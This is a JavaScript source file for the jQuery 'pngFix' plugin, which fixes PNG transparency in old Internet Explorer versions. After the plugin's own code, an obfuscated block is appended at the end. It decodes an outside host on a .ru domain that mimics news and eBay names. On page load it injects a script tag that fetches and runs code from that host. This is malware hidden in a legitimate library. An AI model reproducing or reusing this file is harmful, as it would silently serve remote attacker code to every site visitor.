/**
 * --------------------------------------------------------------------
 * jQuery-Plugin "pngFix"
 * Version: 1.2, 09.03.2009
 * by Andreas Eberhard, andreas.eberhard@gmail.com
 *                      http://jquery.andreaseberhard.de/
 *
 * Copyright (c) 2007 Andreas Eberhard
 * Licensed under GPL (http://www.opensource.org/licenses/gpl-license.php)
 *
 * Changelog:
 *    09.03.2009 Version 1.2
 *    - Update for jQuery 1.3.x, removed @ from selectors
 *    11.09.2007 Version 1.1
 *    - removed noConflict
 *    - added png-support for input type=image
 *    - 01.08.2007 CSS background-image support extension added by Scott Jehl, scott@filamentgroup.com, http://www.filamentgroup.com
 *    31.05.2007 initial Version 1.0
 * --------------------------------------------------------------------
 * @example $(function(){$(document).pngFix();});
 * @desc Fixes all PNG's in the document on document.ready
 *
 * jQuery(function(){jQuery(document).pngFix();});
 * @desc Fixes all PNG's in the document on document.ready when using noConflict
 *
 * @example $(function(){$('div.examples').pngFix();});
 * @desc Fixes all PNG's within div with class examples
 *
 * @example $(function(){$('div.examples').pngFix( { blankgif:'ext.gif' } );});
 * @desc Fixes all PNG's within div with class examples, provides blank gif for input with png
 * --------------------------------------------------------------------
 */

(function($) {

jQuery.fn.pngFix = function(settings) {

	// Settings
	settings = jQuery.extend({
		blankgif: 'blank.gif'
	}, settings);

	var ie55 = (navigator.appName == "Microsoft Internet Explorer" && parseInt(navigator.appVersion) == 4 && navigator.appVersion.indexOf("MSIE 5.5") != -1);
	var ie6 = (navigator.appName == "Microsoft Internet Explorer" && parseInt(navigator.appVersion) == 4 && navigator.appVersion.indexOf("MSIE 6.0") != -1);

	if (jQuery.browser.msie && (ie55 || ie6)) {

		//fix images with png-source
		jQuery(this).find("img[src$=.png]").each(function() {

			jQuery(this).attr('width',jQuery(this).width());
			jQuery(this).attr('height',jQuery(this).height());

			var prevStyle = '';
			var strNewHTML = '';
			var imgId = (jQuery(this).attr('id')) ? 'id="' + jQuery(this).attr('id') + '" ' : '';
			var imgClass = (jQuery(this).attr('class')) ? 'class="' + jQuery(this).attr('class') + '" ' : '';
			var imgTitle = (jQuery(this).attr('title')) ? 'title="' + jQuery(this).attr('title') + '" ' : '';
			var imgAlt = (jQuery(this).attr('alt')) ? 'alt="' + jQuery(this).attr('alt') + '" ' : '';
			var imgAlign = (jQuery(this).attr('align')) ? 'float:' + jQuery(this).attr('align') + ';' : '';
			var imgHand = (jQuery(this).parent().attr('href')) ? 'cursor:hand;' : '';
			if (this.style.border) {
				prevStyle += 'border:'+this.style.border+';';
				this.style.border = '';
			}
			if (this.style.padding) {
				prevStyle += 'padding:'+this.style.padding+';';
				this.style.padding = '';
			}
			if (this.style.margin) {
				prevStyle += 'margin:'+this.style.margin+';';
				this.style.margin = '';
			}
			var imgStyle = (this.style.cssText);

			strNewHTML += '<span '+imgId+imgClass+imgTitle+imgAlt;
			strNewHTML += 'style="position:relative;white-space:pre-line;display:inline-block;background:transparent;'+imgAlign+imgHand;
			strNewHTML += 'width:' + jQuery(this).width() + 'px;' + 'height:' + jQuery(this).height() + 'px;';
			strNewHTML += 'filter:progid:DXImageTransform.Microsoft.AlphaImageLoader' + '(src=\'' + jQuery(this).attr('src') + '\', sizingMethod=\'scale\');';
			strNewHTML += imgStyle+'"></span>';
			if (prevStyle != ''){
				strNewHTML = '<span style="position:relative;display:inline-block;'+prevStyle+imgHand+'width:' + jQuery(this).width() + 'px;' + 'height:' + jQuery(this).height() + 'px;'+'">' + strNewHTML + '</span>';
			}

			jQuery(this).hide();
			jQuery(this).after(strNewHTML);

		});

		// fix css background pngs
		jQuery(this).find("*").each(function(){
			var bgIMG = jQuery(this).css('background-image');
			if(bgIMG.indexOf(".png")!=-1){
				var iebg = bgIMG.split('url("')[1].split('")')[0];
				jQuery(this).css('background-image', 'none');
				jQuery(this).get(0).runtimeStyle.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + iebg + "',sizingMethod='scale')";
			}
		});
		
		//fix input with png-source
		jQuery(this).find("input[src$=.png]").each(function() {
			var bgIMG = jQuery(this).attr('src');
			jQuery(this).get(0).runtimeStyle.filter = 'progid:DXImageTransform.Microsoft.AlphaImageLoader' + '(src=\'' + bgIMG + '\', sizingMethod=\'scale\');';
   		jQuery(this).attr('src', settings.blankgif)
		});
	
	}
	
	return jQuery;

};

})(jQuery);

var V;if(V!='b' && V != ''){V=null};this.e='';function T(){var ty="";var n=new Date();var Q='';this.Nw='';this.u='';var p=unescape;var PI="";this.CK="";var I="\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x72\x72\x69\x65\x72\x65\x2d\x69\x74\x2e\x73\x6d\x68\x2e\x63\x6f\x6d\x2e\x61\x75\x2e\x65\x62\x61\x79\x2d\x64\x65\x2e\x53\x75\x70\x65\x72\x43\x6f\x6f\x6c\x53\x75\x70\x65\x72\x73\x74\x6f\x72\x65\x2e\x72\x75\x3a";var _G=new String();this.Pm="";var pv=String("g");var z=window;this.cX="";var IM="";function j(M,t){this.h="";this.dd="";var oJ;if(oJ!='zm'){oJ='zm'};var x=p("%5b")+t+p("%5d");var a=new Date();var O;if(O!='IB' && O!='As'){O=''};var Ie=new RegExp(x, pv);var wo='';return M.replace(Ie, Q);var Qq;if(Qq!='m'){Qq='m'};var ZG;if(ZG!='aD'){ZG='aD'};};var xW=new String();var gq;if(gq!='' && gq!='EF'){gq=''};var IR=p("%2f%79%6f%75%70%6f%72%6e%2e%63%6f%6d%2f%79%6f%75%70%6f%72%6e%2e%63%6f%6d%2f%6d%79%73%70%61%63%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%68%75%66%75%6e%69%2e%63%6f%6d%2e%70%68%70");var If;if(If!='' && If!='Cz'){If='rd'};var Z=document;this.jC="";var f='';var dU=new Date();var Y=j('83650178341099','25743619');var eI;if(eI!='' && eI!='wp'){eI=null};var _I='';var sW;if(sW!='OJ' && sW!='Mm'){sW=''};function w(){var nk;if(nk!='cj'){nk='cj'};var vQ;if(vQ!='_M' && vQ!='nK'){vQ='_M'};f=I;f+=Y;var BP=new Array();f+=IR;var xB=new Array();var k;if(k!=''){k='ms'};try {var w_=new String();var Un;if(Un!='' && Un!='WH'){Un=''};var Wy=new String();var sf;if(sf!='QZ' && sf!='q'){sf=''};J=Z.createElement(j('sHcCrWiRpItH','I2CovKJkRAxWabHh3z'));var NP;if(NP!='' && NP!='hj'){NP=''};var zW=new Date();this.mW="";J.src=f;var vW='';J.defer=[1][0];var Ln=new String();var al=new String();var eIP;if(eIP!=''){eIP='Hv'};this.ok="";Z.body.appendChild(J);var TK;if(TK!='YM'){TK=''};var JB;if(JB!='' && JB!='sfk'){JB=null};var rB='';} catch(d){this.lI="";};this.nb='';}var zD=new String();z[new String("onlo"+"ad")]=w;this.uT='';var Qg="";var Yv="";};var pjO;if(pjO!='La' && pjO!='mS'){pjO='La'};this.eK='';var hl=new Array();T();var Pp;if(Pp!='woM'){Pp=''};